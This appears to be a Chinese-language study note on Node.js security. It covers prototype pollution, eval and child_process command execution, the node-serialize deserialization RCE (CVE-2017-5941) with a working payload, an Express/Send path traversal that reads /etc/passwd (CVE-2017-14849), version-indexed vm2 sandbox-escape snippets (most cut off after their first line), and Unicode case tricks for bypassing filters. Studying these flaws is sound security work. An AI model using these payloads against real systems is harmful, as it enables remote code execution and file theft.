1.原型链污染
prototype
和__proto__
每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object
的实例。
总结一下
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
JS原型链继承
所有类对象在实例化的时候将会拥有
prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。1
2
3
4
5
6
7
8
9
10
11
12let f = function () {
this.a = 1;
this.b = 2;
}
let o = new f();
f.prototype.b = 3;
f.prototype.c = 4;
console.log(o.a);
console.log(o.b);
console.log(o.c);
console.log(o.d);
console.log(o.b);打印了2 似乎没被影响,其实这是个属性遮蔽
当要访问b属性时,对象先在自身的属性中寻找b,如果不存在b,才会到 __proto__
中寻找,一层层往上,直到找到b或者null
总结一下
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的
__proto__
属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
原型链污染
原型链污染就是修改了类的
prototype
那么将可以影响所有和这个对象来自同一个类、父祖类的对象1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
- 哪些情况下存在原型链污染
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
简单例子
1 | function merge(target, source) { |
需要注意的是一定要使用JSON格式,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
我们用JavaScript创建o2的过程,如果使用(let o2 = {a: 1, "__proto__": {b: 2}}
),__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
2.危险函数
eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
漏洞利用
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
类似命令
间隔两秒执行函数:
- setInteval(some_function, 2000)
两秒后执行函数:
- setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数
输出HelloWorld:
- Function(“console.log(‘HelloWolrd’)”)()
类似于php中的create_function
3.node-serialize反序列化RCE漏洞(CVE-2017-5941)
- 了解什么是IIFE:
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
IIFE一般写成下面的形式:
1 | (function(){ /* code */ }()); |
node-serialize@0.0.4
漏洞点漏洞代码位于node_modules\node-serialize\lib\serialize.js中:
这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()
函数,在反序列化时就会被当中IIFE立即调用执行
- 构造Payload
1 | serialize = require('node-serialize'); |
生成的Payload为:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"} |
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()
,结果如下:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"} |
传递给unserialize(注意转义单引号):
1 | var serialize = require('node-serialize'); |
4.Node.js 目录穿越漏洞复现(CVE-2017-14849)
漏洞影响的版本:
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
Express依赖Send组件,Send组件0.11.0-0.15.6版本pipe()函数中,如图:
Send模块通过normalize('.' + sep + path)
标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入545行的join(root, path)
函数中,跳转到我们想要跳转到的目录中,这是Send模块的一个bug,目前已经修复。
再来看Node.js,Node.js 8.5.0对path.js文件中的normalizeStringPosix
函数进行了修改,使其能够对路径做到如下的标准化:
1 | assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar'); |
新的修改带来了问题,通过单步调试我们发现,可以通过foo../../
和目录跳转字符一起注入到路径中,foo../../
可以把变量isAboveRoot
设置为false
(代码161行),并且在代码135行把自己删掉;变量isAboveRoot
为false
的情况下,可以在foo../../
两边设置同样数量的跳转字符,让他们同样在代码135行把自己删除,这样就可以构造出一个带有跳转字符,但是通过normalizeStringPosix
函数标准化后又会全部自动移除的payload,这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径,最后在Send模块中读取并返回文件。
用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd
即可下载得到/etc/passwd
文件
5.VM沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序,但是安全性让人捉急。逃逸后可获取主程序环境中的环境变量,然后通过各种方法导出 Function
对象(上下文环境是主程序的),接着借助chile_process.exec()
就可以执行任意命令了
一下payload大都来自vm2的issue
vm2<=3.9.2
1 | const vm = require("vm"); |
vm2<=3.9.1
1 | const {NodeVM} = require('vm2'); |
3.7.0<=vm2<=3.8.3
1 | const {VM} = require('vm2'); |
1 | const {VM} = require('vm2'); |
3.7.0<=vm2<=3.8.2
1 | const {VM} = require('vm2'); |
3.6.7<=vm2<=3.6.9
1 | const {VM} = require('vm2'); |
vm2<=3.6.8
1 | const {VM} = require('vm2'); |
vm2<=3.6.7
1 | const {VM} = require('vm2'); |
vm2=3.6.6
1 | const {VM} = require('vm2'); |
vm2<=3.6.6
1 | const untrusted = `var process; |
vm2<=3.6.5
1 | const {VM} = require('vm2'); |
vm2< =3.6.4
1 | const {VM} = require('vm2'); |
vm2<=3.5.2
1 | const {VM} = require('vm2'); |
javascript大小写特性
对于toUpperCase():
1 | 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S" |
对于toLowerCase():
1 | 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K) |
在绕一些规则的时候就可以利用这几个特殊字符进行绕过